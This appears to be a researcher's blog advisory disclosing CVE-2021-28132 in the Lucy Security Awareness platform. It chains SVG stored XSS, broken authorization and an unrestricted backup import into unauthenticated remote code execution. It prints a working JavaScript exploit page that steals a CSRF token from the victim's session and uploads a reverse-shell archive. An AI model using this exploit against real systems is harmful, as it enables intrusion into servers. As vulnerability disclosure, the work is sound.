Lucy Security Awareness Platform Remote Code Execution <= 4.7.x (CVE-2021-28132)

Table of Contents

In this article, I will be sharing several vulnerabilities of the Lucy Security Awareness platform.

Advisory Information

Remotely Exploitable: Yes
CVEs assigned: CVE-2021-28132, CVE-2020-27396
Authentication Required: Yes/No
Shodan: 515 publicly exposed systems
Vendor Homepage: https://lucysecurity.com/download/
Date: 29 Sep 2020

 

Summary

I identified multiple vulnerabilities of Lucy Security’s Awareness product. An unauthenticated user can execute an operating system command under the context of the webserver user which is www-data after successfully forcing low privileged user (for ex: create/delete Campaign enabled users, admin and etc.) to visit the link that contains payload created by the least privileged user (for ex: permission of view).

Technical Details

While doing my security research I try to find logical issues that I hope this PoC report will help you to understand how I approached the product to trigger RCE.

During the static analysis of the web application, I’ve seen a publicly accessible folder called static under /public/system/ which contained pictures.

Luckily any unauthenticated user could access there through web application.

Starting from here I did my Black-Box testing to find a way to upload something to the /public/system/static/. Alright, I found File Browser functionality that directly opened doors to the previously discovered folder.

Visiting the File Browser redirected me to the file upload functionality that any uploaded file will be available on the following link.

https://ip-address/public/system/static/

 

So, firstly I tried to upload .php but the response gave me allowed file extensions. It’s bingo for us that we could upload .html, .svg and etc. to trigger stored XSS.

PoC: stored XSS

For the PoC purpose, I uploaded a .svg file to see if the product is vulnerable to stored XSS.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">`
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

After uploading abuyv.svg file, I visited the following URL to trigger stored XSS.

Note: any folder and file under /public/system/static are accessible by unauthenticated users as well.

Want to get Shell?

Nothing interesting so far. Let’s try to dive into products Migration Tool under Support which was vulnerable to unrestricted File Upload!

So I can import .tar.gz which will extract its content without verification that any extension can be uploaded inside .tar.gz

In order to understand migration’s import section, let’s create a backup of  Whitelabel Settings as shown below.

Then visit Backups to download exported file for further analysis.

Downloaded .tar.gz contained the following file and folders. Basically, I guessed system.tar.gz was the one that was used during our stored XSS.

I extracted system.tar.gz and I saw the migration tool backed up a publicly accessible folder of static as you remember from stored XSS vulnerability.

So it’s time to be creative that I added my PHP payload into the ./static/ folder and then I compressed all extracted folders to make it ready for import.

Finally, my compressed backup file contained a payload which will be accessible by any unauthenticated users once I could import it.

Vulnerability 2#: Authorization Gone Bad (BONUS!)

I tried to attack low privileged users rather than administrator that found following authorization problems on Lucy.

        • Any users with the least privileges will have an access to the following url where they can upload static files that is available to any unauthenticated and authenticated users. In our product, the user with view permission is the least privileged.
            url: https://ip-address/admin/settings/browse-files
        • Almost any low-privileged users have access to import functionality of migration tools despite it is not supposed. In my case, I gave create/delete Campaign permission to the user.
            url: https://ip-address/admin/backup/import

Vulnerability 3# – PoC: from authenticated XSS to unauthenticated RCE

I will use previously discovered stored XSS to force the victim to import my payload which contains a reverse shell that will be available to any unauthenticated users.

For this purpose, I have created two users with the following permissions:

1. attacker@abuyv.comattacker
It had only view permission which is the least privilege on our product.

2. abu@abuyv.comvictim
It had user permission with Create/Delete Campaigns functionality enabled and nothing else.

It is time to get our hands dirty that I will log in as an attacker@abuyv.com to upload .html which contains our payload.

As I mentioned earlier, there was an authorization problem that any least privileged users have access to the browse-files functionality.

So, I will upload the following javascript payload as poc-by-abuyv.html that will force the victim to import the attacker’s rev-shell.php file to /public/system/static/ folder.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<!DOCTYPE HTML>   

<html>   

 

<body>   

 

<script>   

console.log('-------------------------------------------------------------');   

console.log('          Lucy Security Awareness Platform <=4.7.x          ');   

console.log('  PoC: from authenticated stored XSS to unauthenticated RCE  ');   

console.log('     author: Abdulla Abdullayev | contact: abu@abuyv.com     ');   

console.log('-------------------------------------------------------------');   

function base64toBlob(base64Data, contentType) {   

contentType = contentType || '';   

var sliceSize = 1024;   

var byteCharacters = atob(base64Data);   

var bytesLength = byteCharacters.length;   

var slicesCount = Math.ceil(bytesLength / sliceSize);   

var byteArrays = new Array(slicesCount);   

 

for (var sliceIndex =0; sliceIndex < slicesCount; ++sliceIndex) {   

var begin= sliceIndex * sliceSize;   

var end= Math.min(begin+ sliceSize, bytesLength);   

 

var bytes = new Array(end-begin);   

for (var offset =begin, i =0; offset <end; ++i, ++offset) {   

bytes[i] = byteCharacters[offset].charCodeAt(0);   

}   

byteArrays[sliceIndex] = new Uint8Array(bytes);   

}   

return new Blob(byteArrays, { type: contentType });   

}   

function sleep_then_reverseShell() {   

console.log('[!] sleeping 3 seconds before getting reverse shell');   

var t = setTimeout("reverseShell()", 3000);   

}   

 

function reverseShell() {   

var b64url = "/public/system/static/rev-shell.php";   

var xhr = new XMLHttpRequest();   

xhr.open("GET", b64url, true);   

console.log('%c[+] got reverse Shell', 'color: red');   

xhr.send(null);   

}   

function uploadFile(csrf_token) {   

var b64file ="!!!PAYLOAD goes HERE!!!!"   

var content_type = 'application/x-gzip';   

var url = '/backup/restore';   

var blob = base64toBlob(b64file, content_type);   

var formData = new FormData();   

formData.append('YII_CSRF_TOKEN', csrf_token);   

formData.append('FileUploadForm[file]', blob, 'file.tar.gz');   

formData.append('FileUploadForm[action]', '1');   

var request = new XMLHttpRequest();   

request.open('POST', url);   

request.send(formData);   

console.log('[+] file with the extension of %c *.tar.gz' + '%c successfully Imported', 'color:red;', 'color:black');   

console.log('[+] rev-shell.php extracted to /public/system/static/ folder');   

console.log('[!] unauthenticated users can access reverse shell on: https://[ip-address]/public/system/static/rev-shell.php');   

}   

 

var x = new XMLHttpRequest();   

x.open("GET", "/admin/campaigns");   

x.send();   

var src = x.responseText;   

//I required to read a response two times in order getting csrf token!   

alert("I'm are riding on your session..." + x.responseText);   

var b4file = "";   

var src1 = x.responseText;   

var csrf_token = src1.match(/system.csrf = "([0-9a-f]+)"/)   

console.log("[+] found CSRF token: " + csrf_token[1]);   

uploadFile(csrf_token[1]);   

sleep_then_reverseShell();   

 

</script>   

 

</body>   

 

</html> 

Therefore, I uploaded poc-by-abuyv.html as shown below and this file is available on the following url for both unauth and auth users.

url: https://ip/public/system/static/pocbyabuyv.html

As I mentioned on the authorization problem section, we will log in as abu@abuyv.com which is a victim user to trigger the payload by visiting the URL above.

Note: Victim is not required to have an admin privilege for the exploitation

 

Once there was an authorization problem, we actually had access to migration tools where was no restriction on file upload.

For debugging purposes, right-click on the page and press Inspect Element to see logs of our js payload.

 

Listened to port 443 on the attacker’s machine to get the reverse shell from Lucy.

So any unauthenticated users can trigger this vulnerability as it is not required to have authentication to access the uploaded files.

So any unauthenticated users can execute this RCE vulnerability as it is not required to have authentication to access the uploaded files on /public/system/static/ folder.

Finally, unauthenticated users can access the reverse shell on the following link.

url: https://ip-address/public/system/static/rev-shell.php

 

 

One Reply to “Lucy Security Awareness Platform Remote Code Execution <= 4.7.x (CVE-2021-28132)”

Leave a Reply

Your email address will not be published. Required fields are marked *